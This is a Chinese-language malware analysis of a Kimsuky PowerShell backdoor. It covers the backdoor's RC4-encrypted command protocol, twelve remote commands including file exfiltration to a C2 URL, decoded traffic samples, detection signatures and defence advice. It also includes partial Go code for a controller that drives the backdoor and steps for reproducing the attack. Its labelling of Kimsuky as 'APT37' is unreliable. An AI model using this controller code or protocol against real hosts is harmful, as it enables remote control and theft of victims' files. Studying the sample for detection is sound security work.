推陈出新!Kimsuky组织最新远控组件攻击场景复现
字数 2890 2025-08-05 08:18:15
Kimsuky组织PowerShell后门分析与复现技术文档
1. 概述
Kimsuky组织(也称为APT37)是一个活跃的朝鲜背景黑客组织,近期被发现使用新型PowerShell后门作为最终远控木马端。本文档将详细分析该后门的技术特点,并指导如何复现攻击场景。
2. 后门功能分析
2.1 外联上线机制
- 运行后根据配置的外联地址发起socket套接字上线通信
- 默认配置信息为127.0.0.1:8888
2.2 通信密钥交互
- 使用RC4对称加密算法进行通信数据加解密
- 密钥生成流程:
- 拼接Mac地址与IP地址
- 使用MD5算法对拼接字符串进行Hash运算
- 通过socket发送MD5字符串
- 密钥规则:
- SendKey: MD5值+"_r"
- RecvKey: MD5值+"_s"
2.3 RC4加密实现
- PrePare_Key函数对应Golang的
crypto/rc4库中的NewCipher(key []byte) - Rc4_Crypt函数对应Golang的
XORKeyStream(dst, src []byte)函数
3. 远控功能指令
后门支持12个远控指令:
| 指令代码 | 功能函数 | 描述 |
|---|---|---|
| OP_REQ_DRIVE_LIST | ProcessDriveList | 获取磁盘信息 |
| OP_REQ_PATH_LIST | ProcessPathList | 获取指定目录文件列表 |
| OP_REQ_PATH_DELETE | ProcessPathDelete | 删除文件 |
| OP_REQ_EXECUTE | ProcessPathExecute | 启动程序 |
| OP_REQ_CREATE_ZIP | ProcessPathZip | 将目录打包成zip文件 |
| OP_REQ_PATH_RENAME | ProcessPathRename | 重命名文件 |
| OP_REQ_CREATE_DIR | ProcessCreateDir | 创建目录 |
| OP_REQ_PATH_DOWNLOAD | ProcessPathDownload | 将文件/目录通过POST发送至C&C |
| OP_REQ_CLOSE | - | 关闭socket连接 |
| OP_REQ_REMOVE | - | 关闭socket连接 |
| OP_REQ_RESTART | - | 关闭socket连接并重连 |
| OP_REQ_FILE_UPLOAD | - | 上传文件 |
3.1 ProcessPathList功能细节
- 从指令中提取:4字节DirPathLen、DirPath
- 返回信息结构:
- RecvData: 控制端发送的远控指令载荷内容
- 4字节Count: 文件及目录数量
- InfoLen: 目录/文件信息长度
- ByInfo: 以";"分割的信息
- 目录信息: "0"、目录名、""、目录修改时间
- 文件信息: "1"、文件名、文件长度、文件修改时间
3.2 ProcessPathExecute功能细节
- 从指令中提取:4字节PathLen、Path、4字节IsDir
- 使用Invoke-Expression命令启动程序
3.3 ProcessPathDownload功能细节
- 从指令中提取:4字节PathLen、Path、4字节IsDir、4字节UrlLen、Url
- 若IsDir为真,则将Path路径下文件打包成zip
- 读取文件内容并base64编码
- 使用POST请求发送至"Url/show.php"
4. 通信模型分析
4.1 通信流程示例
第一段通信数据(木马端 → 控制端)
010424000000200000003546443437444632363739333239363441354239333430453535343136424131
解析:
- 0104: _OP_CODE = 0x401 == OP_UNIQ_ID
- 24000000: 载荷数据长度 = 0x24
- 20000000: nUniqueIdLen数据长度 = 0x20
- 3546443437444632363739333239363441354239333430453535343136424131: MD5值
OP_REQ_DRIVE_LIST交互
-
控制端 → 木马端:
0600000039882655d01d067e859b- RC4解密后: 02040400000011111111
- 0204: _OP_CODE = 0x402 == OP_REQ_DRIVE_LIST
- 04000000: 载荷数据长度 = 0x04
- 11111111: 随机填充数据
- RC4解密后: 02040400000011111111
-
木马端 → 控制端:
2300000044ca569d2ec0ffb7a6ae4b90d224c4fd429a28f64d540caa1425161fda0c3ac2584a12- RC4解密后: 03041d0000000100000015000000433a5c28295b46697865642c4e5446535d3b433a5c
- 0304: _OP_CODE = 0x403 == OP_RES_DRIVE_LIST
- 1d000000: 载荷数据长度 = 0x1d
- 01000000: DriveCount
- 15000000: InfoLen
- 433a5c28295b46697865642c4e5446535d3b433a5c: 磁盘信息
- RC4解密后: 03041d0000000100000015000000433a5c28295b46697865642c4e5446535d3b433a5c
4.2 心跳通信
- 木马端 → 控制端: 00
4.3 通信流量检测特征
- 第一段通信数据长度固定为42字节
- 第一段通信数据前10字节固定为:01042400000020000000
- 存在心跳通信数据包00
- 远控指令交互数据结构为:4字节载荷数据长度+载荷数据
5. 控制端开发实现
5.1 开发注意事项
- PowerShell后门通信数据中的载荷长度字节与代码中的载荷长度字节的字节序不同
5.2 Golang实现关键代码
main.go核心逻辑
func handle_Kimsuky_powershell_Connection(conn net.Conn) {
defer conn.Close()
// 接收初始数据
firstbuf := common.RecvData(conn, 42)
nOpCode, Data := common.DecodeData(firstbuf, false, nil)
// 获取密钥
SendKeyData := string(ByUniqueId) + "_r"
RecvKeyData := string(ByUniqueId) + "_s"
Global_SendKey, _ := rc4.NewCipher([]byte(SendKeyData))
Global_RecvKey, _ := rc4.NewCipher([]byte(RecvKeyData))
// 处理指令
for {
// 读取用户输入
text := getInput()
if text == "OP_REQ_CLOSE" {
common.SendBuf(conn, Global_RecvKey, 0x411, []byte{0x11,0x11,0x11,0x11})
os.Exit(1)
} else if text == "OP_REQ_DRIVE_LIST" {
common.SendBuf(conn, Global_RecvKey, 0x402, []byte{0x11,0x11,0x11,0x11})
EncData := <- encdata
nOpCode, Data = common.DecodeData(EncData, true, Global_SendKey)
command.ProcessDriveList(Data)
}
// 其他指令处理...
}
}
common.go关键函数
// 解码数据
func DecodeData(recv_buf []byte, isenc bool, Global_SendKey *rc4.Cipher) ([]byte, []byte) {
if isenc {
enc_recv_buf := make([]byte, len(recv_buf))
Global_SendKey.XORKeyStream(enc_recv_buf, recv_buf)
recvbuf = enc_recv_buf
}
// 解析操作码和数据
nOpCode := recvbuf[:2]
common.Reversedata(&nOpCode)
nDataLen := recvbuf[2:6]
common.Reversedata(&nDataLen)
Data := recvbuf[6:]
return nOpCode, Data
}
// 发送数据
func SendBuf(conn net.Conn, Global_RecvKey *rc4.Cipher, OpCode int, Data []byte) {
// 构造并加密头部
opcode, _ := IntToBytes_mode(OpCode, byte(2))
Reversedata(&opcode)
// 加密数据
enc_buf_header := make([]byte, len(buf_header))
Global_RecvKey.XORKeyStream(enc_buf_header, buf_header)
// 发送
conn.Write(send_buf)
}
6. 攻击场景复现步骤
-
环境准备
- 搭建测试网络环境
- 准备PowerShell后门样本
- 编译控制端程序
-
启动控制端
go run main.go -
执行后门
- 在目标机器执行PowerShell后门脚本
-
交互操作
- 使用控制端发送指令:
OP_REQ_DRIVE_LIST查看磁盘信息OP_REQ_PATH_LIST查看目录内容OP_REQ_EXECUTE执行程序OP_REQ_PATH_DOWNLOAD下载文件
- 使用控制端发送指令:
-
流量分析
- 使用Wireshark等工具捕获通信流量
- 验证检测特征的有效性
7. 防御建议
-
检测方面
- 监控异常PowerShell活动
- 检测RC4加密通信特征
- 关注42字节的初始通信数据
-
防护方面
- 限制PowerShell执行权限
- 实施网络流量加密检测
- 更新终端防护软件规则
-
响应方面
- 发现后立即隔离感染主机
- 检查相关文件操作痕迹
- 重置可能泄露的凭据
8. 总结
本文详细分析了Kimsuky组织使用的PowerShell后门技术特点,包括其通信机制、加密方式、功能指令等,并提供了完整的攻击场景复现方法。通过理解这些技术细节,安全团队可以更好地检测和防御此类威胁。